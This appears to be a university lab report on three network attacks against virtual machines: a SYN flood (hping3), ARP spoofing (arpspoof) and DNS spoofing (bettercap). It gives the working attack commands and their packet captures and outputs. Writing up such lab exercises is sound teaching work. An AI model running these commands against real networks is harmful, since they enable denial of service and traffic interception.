

CENG489 PA2 Report

This report is intended to explain the process and results of the attacks made in different settings for the sake of the assignment. For the ease of readability and grading, the report is divided into sections, each for one single attack.

Attack 1: SYN Flood

First attack is SYN flooding, where the **attacker** sends SYN packets continuously to the **server**.

This attack scenario uses a basic HTTP server and client, in **server** and **client** sides. Also the **attacker** uses the **hping3** tool for SYN flooding.

Server:

```
python3 scripts/01-syn-flood/server.py
```

Client:

```
python3 scripts/01-syn-flood/client.py
```

Attacker:

```
sudo hping3 -c 150000 -d 120 -S -w 64 -p 4444 --flood --rand-source 192.168.56.101
```

Also, attacker and server dumps the TCP packets using tcpdump:

```
sudo tcpdump -i enp0s8 -w 01-syn-flood-attacker.pcap -s 96
```

```
sudo tcpdump -i enp0s8 -w 01-syn-flood-server.pcap -s 96
```

The terminal output of **server** can be seen below:

```
serving at port 4444
192.168.56.102 - - [21/Jun/2022 14:05:46] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:47] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:49] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:50] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:51] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:52] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:53] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:54] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:55] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:56] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:57] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:58] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:05:59] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:00] "GET / HTTP/1.1" 200 - # Attack starts here
192.168.56.102 - - [21/Jun/2022 14:06:02] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:04] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:05] "GET / HTTP/1.1" 200 -
```

```

192.168.56.102 - - [21/Jun/2022 14:06:12] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:33] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:36] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:39] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:06:41] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:07:01] "GET / HTTP/1.1" 200 -
192.168.56.102 - - [21/Jun/2022 14:07:02] "GET / HTTP/1.1" 200 -

```

Also, the SYN packets and their sent responses can be seen in the below screen-shots (Figure-1 and Figure-2) of the network dumps of the attacker side and the server side.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	80.174.45.189	192.168.56.101	TCP	174	2599 → 4444 [SYN] Seq=0 Win=64 Len=120
2	0.000167	64.123.45.52	192.168.56.101	ZEBRA	174	Zebra Reply: Command Type 0x88
3	0.000187	242.226.52.44	192.168.56.101	TCP	174	2601 → 4444 [SYN] Seq=0 Win=64 Len=120
4	0.000250	52.180.192.119	192.168.56.101	TCP	174	2602 → 4444 [SYN] Seq=0 Win=64 Len=120
5	0.000271	239.14.129.64	192.168.56.101	TCP	174	2603 → 4444 [SYN] Seq=0 Win=64 Len=120
6	0.000285	60.248.96.94	192.168.56.101	TCP	174	2604 → 4444 [SYN] Seq=0 Win=64 Len=120
7	0.000297	50.145.212.91	192.168.56.101	TCP	174	2605 → 4444 [SYN] Seq=0 Win=64 Len=120
8	0.000307	55.130.45.228	192.168.56.101	TCP	174	2606 → 4444 [SYN] Seq=0 Win=64 Len=120
9	0.000363	98.82.180.148	192.168.56.101	TCP	174	2607 → 4444 [SYN] Seq=0 Win=64 Len=120
10	0.000383	238.52.53.212	192.168.56.101	TCP	174	2608 → 4444 [SYN] Seq=0 Win=64 Len=120
11	0.000476	100.200.63.231	192.168.56.101	TCP	174	2609 → 4444 [SYN] Seq=0 Win=64 Len=120
12	0.000691	112.124.189.45	192.168.56.101	TCP	174	2610 → 4444 [SYN] Seq=0 Win=64 Len=120
13	0.000713	66.96.109.170	192.168.56.101	TCP	174	2611 → 4444 [SYN] Seq=0 Win=64 Len=120
14	0.000727	218.203.160.145	192.168.56.101	TCP	174	2612 → 4444 [SYN] Seq=0 Win=64 Len=120
15	0.000738	9.112.77.233	192.168.56.101	TCP	174	2613 → 4444 [SYN] Seq=0 Win=64 Len=120
16	0.000749	16.99.169.100	192.168.56.101	TCP	174	2614 → 4444 [SYN] Seq=0 Win=64 Len=120
17	0.000759	45.9.55.181	192.168.56.101	TCP	174	2615 → 4444 [SYN] Seq=0 Win=64 Len=120
18	0.000937	92.82.189.7	192.168.56.101	TCP	174	2616 → 4444 [SYN] Seq=0 Win=64 Len=120
19	0.000999	77.215.130.241	192.168.56.101	TCP	174	2617 → 4444 [SYN] Seq=0 Win=64 Len=120
20	0.001017	83.35.227.15	192.168.56.101	TCP	174	2618 → 4444 [SYN] Seq=0 Win=64 Len=120
21	0.001030	189.132.204.123	192.168.56.101	TCP	174	2619 → 4444 [SYN] Seq=0 Win=64 Len=120
22	0.001042	148.173.124.155	192.168.56.101	TCP	174	2620 → 4444 [SYN] Seq=0 Win=64 Len=120
23	0.001054	64.153.122.189	192.168.56.101	TCP	174	2621 → 4444 [SYN] Seq=0 Win=64 Len=120
24	0.001066	251.137.32.206	192.168.56.101	TCP	174	2622 → 4444 [SYN] Seq=0 Win=64 Len=120
25	0.001115	129.42.96.242	192.168.56.101	TCP	174	2623 → 4444 [SYN] Seq=0 Win=64 Len=120
26	0.001167	189.92.199.123	192.168.56.101	TCP	174	2624 → 4444 [SYN] Seq=0 Win=64 Len=120
27	0.001200	23.111.170.7	192.168.56.101	TCP	174	2625 → 4444 [SYN] Seq=0 Win=64 Len=120
28	0.001228	163.34.189.67	192.168.56.101	TCP	174	2626 → 4444 [SYN] Seq=0 Win=64 Len=120
29	0.001237	34.55.129.141	192.168.56.101	TCP	174	2627 → 4444 [SYN] Seq=0 Win=64 Len=120
30	0.001245	100.46.189.58	192.168.56.101	TCP	174	2628 → 4444 [SYN] Seq=0 Win=64 Len=120
31	0.001269	149.219.205.87	192.168.56.101	TCP	174	2629 → 4444 [SYN] Seq=0 Win=64 Len=120
32	0.001294	136.45.131.209	192.168.56.101	TCP	174	2630 → 4444 [SYN] Seq=0 Win=64 Len=120
33	0.001306	242.111.131.122	192.168.56.101	TCP	174	2631 → 4444 [SYN] Seq=0 Win=64 Len=120
34	0.001318	130.181.160.203	192.168.56.101	TCP	174	2632 → 4444 [SYN] Seq=0 Win=64 Len=120
35	0.001333	111.232.189.178	192.168.56.101	TCP	174	2633 → 4444 [SYN] Seq=0 Win=64 Len=120
36	0.001355	86.143.55.220	192.168.56.101	TCP	174	2634 → 4444 [SYN] Seq=0 Win=64 Len=120
37	0.001364	52.111.76.82	192.168.56.101	TCP	174	2635 → 4444 [SYN] Seq=0 Win=64 Len=120
38	0.001388	226.252.236.62	192.168.56.101	TCP	174	2636 → 4444 [SYN] Seq=0 Win=64 Len=120
39	0.001399	9.181.42.154	192.168.56.101	TCP	174	2637 → 4444 [SYN] Seq=0 Win=64 Len=120
40	0.001409	175.76.86.173	192.168.56.101	TCP	174	2638 → 4444 [SYN] Seq=0 Win=64 Len=120

Figure 1: Attacker's network dump

Attack 2: ARP Spoofing

The second attack is ARP spoofing, which broadcasts the MAC address of the **attacker** as the **server's** to the local network as the router, to spoof the victim's (**client's**) ARP table to perform a MITM attack.

Before the attack:

```
vagrant@client:~$ arp -a
```

No.	Time	Source	Destination	Protocol	Length	Info
129	11.799410	192.168.56.102	192.168.56.101	TCP	66	56418 → 4444 [ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438921513 TSecr=692171806
130	11.798796	192.168.56.102	192.168.56.101	TCP	66	56418 → 4444 [ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438921513 TSecr=692171806
131	11.799410	192.168.56.102	192.168.56.101	TCP	66	56418 → 4444 [ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438921514 TSecr=692171806
132	11.799450	192.168.56.101	192.168.56.102	TCP	66	4444 → 56418 [ACK] Seq=920 Ack=152 Win=65024 Len=0 TSval=692171807 TSecr=438921514
133	12.004045	192.168.56.102	192.168.56.101	TCP	74	56420 → 4444 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=438922519 TSecr=0 WS=128
134	12.004070	192.168.56.101	192.168.56.102	TCP	74	4444 → 56420 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=692172092 TSecr=438922519
135	12.004457	192.168.56.102	192.168.56.101	TCP	66	56420 → 4444 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=438922519 TSecr=692172092
136	12.004457	192.168.56.102	192.168.56.101	HTTP	216	GET / HTTP/1.1 (Packet size limited during capture)
137	12.004487	192.168.56.101	192.168.56.102	TCP	66	4444 → 56420 [ACK] Seq=1 Ack=151 Win=65824 Len=0 TSval=692172092 TSecr=438922519
138	12.005447	192.168.56.101	192.168.56.102	HTTP	221	HTTP/1.0 200 OK (Packet size limited during capture)
139	12.005490	192.168.56.101	192.168.56.102	HTTP	829	Continuation(Packet size limited during capture)
140	12.005749	192.168.56.102	192.168.56.101	TCP	66	56420 → 4444 [ACK] Seq=151 Ack=156 Win=64128 Len=0 TSval=438922521 TSecr=692172093
141	12.005839	192.168.56.102	192.168.56.101	TCP	66	56420 → 4444 [ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438922521 TSecr=692172093
142	12.005981	192.168.56.102	192.168.56.101	TCP	66	56420 → 4444 [FIN, ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438922521 TSecr=692172093
143	12.006520	192.168.56.101	192.168.56.102	TCP	66	4444 → 56420 [ACK] Seq=920 Ack=152 Win=65024 Len=0 TSval=692172094 TSecr=438922521
144	13.010588	192.168.56.102	192.168.56.101	TCP	74	56422 → 4444 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=438923525 TSecr=0 WS=128
145	13.010624	192.168.56.101	192.168.56.102	TCP	74	4444 → 56422 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=692173090 TSecr=438923525
146	13.011135	192.168.56.102	192.168.56.101	TCP	66	56422 → 4444 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=438923526 TSecr=692173090
147	13.011135	192.168.56.102	192.168.56.101	HTTP	216	GET / HTTP/1.1 (Packet size limited during capture)
148	13.011178	192.168.56.101	192.168.56.102	TCP	66	4444 → 56422 [ACK] Seq=1 Ack=151 Win=65824 Len=0 TSval=692173099 TSecr=438923526
149	13.012019	192.168.56.101	192.168.56.102	HTTP	221	HTTP/1.0 200 OK (Packet size limited during capture)
150	13.012083	192.168.56.101	192.168.56.102	HTTP	829	Continuation(Packet size limited during capture)
151	13.013063	192.168.56.102	192.168.56.101	TCP	66	56422 → 4444 [ACK] Seq=151 Ack=156 Win=64128 Len=0 TSval=438923528 TSecr=692173100
152	13.013489	192.168.56.102	192.168.56.101	TCP	66	56422 → 4444 [ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438923528 TSecr=692173101
153	13.014224	192.168.56.102	192.168.56.101	TCP	66	56422 → 4444 [FIN, ACK] Seq=151 Ack=920 Win=64128 Len=0 TSval=438923529 TSecr=692173101
154	13.014234	192.168.56.101	192.168.56.102	TCP	66	4444 → 56422 [ACK] Seq=920 Ack=152 Win=65024 Len=0 TSval=692173102 TSecr=438923529
155	14.071331	80.174.45.189	192.168.56.101	TCP	174	2599 → 4444 [SYN] Seq=0 Win=64 Len=120
156	14.071331	64.123.45.52	192.168.56.101	ZEBRA	174	Zebra Reply: Command Type 0x08
157	14.071331	242.226.52.44	192.168.56.101	TCP	174	2681 → 4444 [SYN] Seq=0 Win=64 Len=120
158	14.071331	52.180.192.119	192.168.56.101	TCP	174	2682 → 4444 [SYN] Seq=0 Win=64 Len=120
159	14.071668	239.14.129.64	192.168.56.101	TCP	174	2683 → 4444 [SYN] Seq=0 Win=64 Len=120
160	14.071668	68.249.96.94	192.168.56.101	TCP	174	2684 → 4444 [SYN] Seq=0 Win=64 Len=120
161	14.071668	58.145.212.91	192.168.56.101	TCP	174	2685 → 4444 [SYN] Seq=0 Win=64 Len=120
162	14.071668	55.138.45.228	192.168.56.101	TCP	174	2686 → 4444 [SYN] Seq=0 Win=64 Len=120
163	14.071668	98.82.189.148	192.168.56.101	TCP	174	2687 → 4444 [SYN] Seq=0 Win=64 Len=120
164	14.071668	239.32.33.212	192.168.56.101	TCP	174	2688 → 4444 [SYN] Seq=0 Win=64 Len=120
165	14.071668	180.200.63.231	192.168.56.101	TCP	174	2689 → 4444 [SYN] Seq=0 Win=64 Len=120
166	14.072040	112.124.189.45	192.168.56.101	TCP	174	2610 → 4444 [SYN] Seq=0 Win=64 Len=120
167	14.072040	66.96.189.178	192.168.56.101	TCP	174	2611 → 4444 [SYN] Seq=0 Win=64 Len=120
168	14.072040	218.281.169.145	192.168.56.101	TCP	174	2612 → 4444 [SYN] Seq=0 Win=64 Len=120
169	14.072041	9.112.77.233	192.168.56.101	TCP	174	2613 → 4444 [SYN] Seq=0 Win=64 Len=120
170	14.072041	16.99.169.188	192.168.56.101	TCP	174	2614 → 4444 [SYN] Seq=0 Win=64 Len=120

Figure 2: Server's network dump

```
? (192.168.56.100) at 08:00:27:03:7e:13 [ether] on enp0s8
? (192.168.56.101) at 08:00:27:11:bd:83 [ether] on enp0s8
_gateway (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
```

This attack scenario uses the arpspoof tool to perform ARP spoofing on the client:

```
sudo arpspoof -i enp0s8 -t 192.168.56.102 192.168.56.101
```

After the attack:

```
vagrant@client:~$ arp -a
? (192.168.56.100) at 08:00:27:03:7e:13 [ether] on enp0s8
? (192.168.56.101) at 08:00:27:03:7e:13 [ether] on enp0s8
_gateway (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
```

It can be seen that the MAC address of 192.168.56.101 (server) was changed to 08:00:27:03:7e:13, which is actually the attacker's MAC, in the client's ARP table.

The poisoning can be also seen in the network dump of the attacker (Figure-3).

It can be seen that before the attack, client sends the HTTP request packets to the server with the MAC address 08:00:27:11:bd:83 in Figure-4.

Also, after the spoofing, client starts sending the same HTTP packets to the server but with MAC address 08:00:27:03:7e:13, can be seen in Figure-5.

eth.src == 08:00:27:03:7e:13 && arp

No.	Time	Source	Destination	Protocol	Length	Info
28	2.000000	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
55	4.000491	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
82	5.501086	PcsCompu_03:7e:13	PcsCompu_11:bd:83	ARP	42	Who has 192.168.56.101? Tell 192.168.56.100
83	5.501256	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	Who has 192.168.56.101? Tell 192.168.56.100
86	6.001059	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
112	8.001832	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
137	10.002400	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
163	12.030930	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
188	14.037266	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
213	16.037630	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
239	18.039200	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
266	20.040863	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
291	22.043016	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
316	24.043676	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
341	26.050403	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
366	28.060866	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
391	30.060811	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13
416	32.061959	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	42	192.168.56.101 is at 08:00:27:03:7e:13

Figure 3: ARP poisoning attack on the attacker's side

309	28.385354	192.168.56.102	192.168.56.101	TCP	74	56824 → 4444 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=433162532 TSecr=0 WS=128
310	28.385830	192.168.56.101	192.168.56.102	TCP	74	4444 → 56824 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=694411997 TSecr=433162532
311	28.385874	192.168.56.102	192.168.56.101	TCP	66	56824 → 4444 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=433162532 TSecr=694411997
312	28.385924	192.168.56.102	192.168.56.101	HTTP	216	GET / HTTP/1.1 [Packet size limited during capture]
313	28.386256	192.168.56.101	192.168.56.102	TCP	66	4444 → 56824 [ACK] Seq=1 Ack=151 Win=65824 Len=0 TSval=694411997 TSecr=433162532
314	28.387076	192.168.56.101	192.168.56.102	HTTP	221	HTTP/1.0 200 OK [Packet size limited during capture]
315	28.387905	192.168.56.102	192.168.56.101	TCP	66	56824 → 4444 [ACK] Seq=151 Ack=156 Win=64128 Len=0 TSval=433162534 TSecr=694411998
316	28.387242	192.168.56.101	192.168.56.102	HTTP	982	Continuation[Packet size limited during capture]
317	28.387253	192.168.56.102	192.168.56.101	TCP	66	56824 → 4444 [ACK] Seq=151 Ack=993 Win=64128 Len=0 TSval=433162534 TSecr=694411998
318	28.387707	192.168.56.102	192.168.56.101	TCP	66	56824 → 4444 [FIN, ACK] Seq=151 Ack=993 Win=64128 Len=0 TSval=433162534 TSecr=694411998
319	28.388054	192.168.56.101	192.168.56.102	TCP	66	4444 → 56824 [ACK] Seq=993 Ack=152 Win=65824 Len=0 TSval=694411999 TSecr=433162534
320	28.973486	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	60	192.168.56.101 is at 08:00:27:03:7e:13
321	29.398317	192.168.56.102	192.168.56.101	TCP	74	56826 → 4444 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=433163537 TSecr=0 WS=128
322	29.398095	192.168.56.101	192.168.56.102	TCP	172	4444 → 56826 [ACK] Seq=1 Ack=993 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=694413002 TSecr=433163537
323	29.393119	192.168.56.101	192.168.56.102	TCP	74	4444 → 56826 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=694413002 TSecr=433163537

> Frame 312: 216 bytes on wire (1728 bits), 96 bytes captured (768 bits)

> Ethernet II, Src: PcsCompu_54:cb:fa (08:00:27:54:cb:fa), Dst: PcsCompu_11:bd:83 (08:00:27:11:bd:83)

> Destination: PcsCompu_11:bd:83 (08:00:27:11:bd:83)

> Source: PcsCompu_54:cb:fa (08:00:27:54:cb:fa)

Type: IPv4 (0x0800)

> Internet Protocol Version 4, Src: 192.168.56.102, Dst: 192.168.56.101

> Transmission Control Protocol, Src Port: 56824, Dst Port: 4444, Seq: 1, Ack: 1, Len: 150

> Hypertext Transfer Protocol

[Packet size limited during capture: HTTP truncated]

Figure 4: Client's HTTP request before ARP spoofing

319	28.388054	192.168.56.101	192.168.56.102	TCP	66	4444 → 56824 [ACK] Seq=993 Ack=152 Win=65824 Len=0 TSval=694411999 TSecr=433162534
320	28.973486	PcsCompu_03:7e:13	PcsCompu_54:cb:fa	ARP	60	192.168.56.101 is at 08:00:27:03:7e:13
321	29.398317	192.168.56.102	192.168.56.101	TCP	74	56826 → 4444 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=433163537 TSecr=0 WS=128
322	29.398095	192.168.56.101	192.168.56.102	TCP	172	4444 → 56826 [ACK] Seq=1 Ack=993 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=694413002 TSecr=433163537
323	29.393119	192.168.56.101	192.168.56.102	TCP	74	4444 → 56826 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=0 MSS=1460 SACK_PERM=1 TSval=694413002 TSecr=433163537
324	29.393140	192.168.56.102	192.168.56.101	TCP	66	56826 → 4444 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=433163538 TSecr=694413002
325	29.393024	192.168.56.101	192.168.56.102	HTTP	216	GET / HTTP/1.1 [Packet size limited during capture]
326	29.393623	192.168.56.101	192.168.56.102	TCP	66	4444 → 56826 [ACK] Seq=1 Ack=151 Win=65824 Len=0 TSval=694413003 TSecr=433163538
327	29.392824	192.168.56.101	192.168.56.102	HTTP	221	HTTP/1.0 200 OK [Packet size limited during capture]
328	29.392825	192.168.56.101	192.168.56.102	HTTP	982	Continuation[Packet size limited during capture]
329	29.392853	192.168.56.102	192.168.56.101	TCP	66	56826 → 4444 [ACK] Seq=151 Ack=156 Win=64128 Len=0 TSval=433163539 TSecr=694413004
330	29.393299	192.168.56.102	192.168.56.101	TCP	66	56826 → 4444 [ACK] Seq=151 Ack=993 Win=64128 Len=0 TSval=433163540 TSecr=694413004
331	29.394003	192.168.56.102	192.168.56.101	TCP	66	56826 → 4444 [FIN, ACK] Seq=151 Ack=993 Win=64128 Len=0 TSval=433163540 TSecr=694413004

> Frame 325: 216 bytes on wire (1728 bits), 96 bytes captured (768 bits)

> Ethernet II, Src: PcsCompu_54:cb:fa (08:00:27:54:cb:fa), Dst: PcsCompu_03:7e:13 (08:00:27:03:7e:13)

> Destination: PcsCompu_03:7e:13 (08:00:27:03:7e:13)

> Source: PcsCompu_54:cb:fa (08:00:27:54:cb:fa)

Type: IPv4 (0x0800)

> Internet Protocol Version 4, Src: 192.168.56.102, Dst: 192.168.56.101

> Transmission Control Protocol, Src Port: 56826, Dst Port: 4444, Seq: 1, Ack: 1, Len: 150

> Hypertext Transfer Protocol

[Packet size limited during capture: HTTP truncated]

Figure 5: Client's HTTP request after ARP spoofing

Attack 3: DNS Spoofing

The third and the last attack is DNS spoofing, which is performed by using **bettercap** tool on the **attacker's** side and **CoreDNS** on the **server** side.

Use the **server** as a DNS server for the **client**, using **CoreDNS**:

```
vagrant@server:~$ cat > coredns.conf << EOF
.:53 {
    forward . 1.1.1.2 1.0.0.2
}
EOF
```

```
vagrant@server:~$ sudo systemctl stop systemd-resolved
vagrant@server:~$ sudo ./scripts/03-sslstrip/coredns -conf coredns.conf
```

Also configure the **client** to use the **server** as DNS server:

```
vagrant@client:~$ sudo cat > /etc/resolv.conf << EOF
nameserver 192.168.56.101
EOF
```

Before the attack:

```
vagrant@client:~$ dig google.com

; <<>> DiG 9.16.1-Ubuntu <<>> google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46397
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;google.com.                IN A

;; ANSWER SECTION:
google.com.                 286 IN A    142.250.187.174

;; Query time: 92 msec
;; SERVER: 192.168.56.101#53(192.168.56.101)
;; WHEN: Tue Jun 21 22:36:12 UTC 2022
;; MSG SIZE rcvd: 65
```

Start the attack using **bettercap** tool:

```
vagrant@attacker:~$ sudo ./scripts/03-sslstrip/bettercap --iface enp0s8
192.168.56.0/24 > 192.168.56.100 » set arp.spoof.fulllduplex true
192.168.56.0/24 > 192.168.56.100 » set arp.spoof.internal true
```

```

192.168.56.0/24 > 192.168.56.100 » set arp.spoof.targets 192.168.56.102
192.168.56.0/24 > 192.168.56.100 » arp.spoof on
[22:39:03] [sys.log] [inf] arp.spoof enabling forwarding
192.168.56.0/24 > 192.168.56.100 » [22:39:03] [sys.log] [war] arp.spoof arp spoofer started
192.168.56.0/24 > 192.168.56.100 » [22:39:03] [sys.log] [war] arp.spoof full duplex spoofing
192.168.56.0/24 > 192.168.56.100 » set dns.spoof.domains google.com
192.168.56.0/24 > 192.168.56.100 » set dns.spoof.address 1.1.1.1
192.168.56.0/24 > 192.168.56.100 » dns.spoof on
[22:39:22] [sys.log] [inf] dns.spoof google.com -> 1.1.1.1
192.168.56.0/24 > 192.168.56.100 » [22:39:25] [sys.log] [inf] dns.spoof sending spoofed DNS

```

Then do the same DNS resolution to google.com on the client side to check if DNS spoofing was successful:

```
vagrant@client:~$ dig google.com
```

```

;; <<>> DiG 9.16.1-Ubuntu <<>> google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1804
;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com.                IN A

;; ANSWER SECTION:
google.com.      1024    IN A      1.1.1.1

;; Query time: 12 msec
;; SERVER: 192.168.56.101#53(192.168.56.101)
;; WHEN: Tue Jun 21 22:39:25 UTC 2022
;; MSG SIZE rcvd: 54

```

As seen in the response, the A record seems 1.1.1.1, which is what we were specified in the **bettercap** tool's dns spoofing options.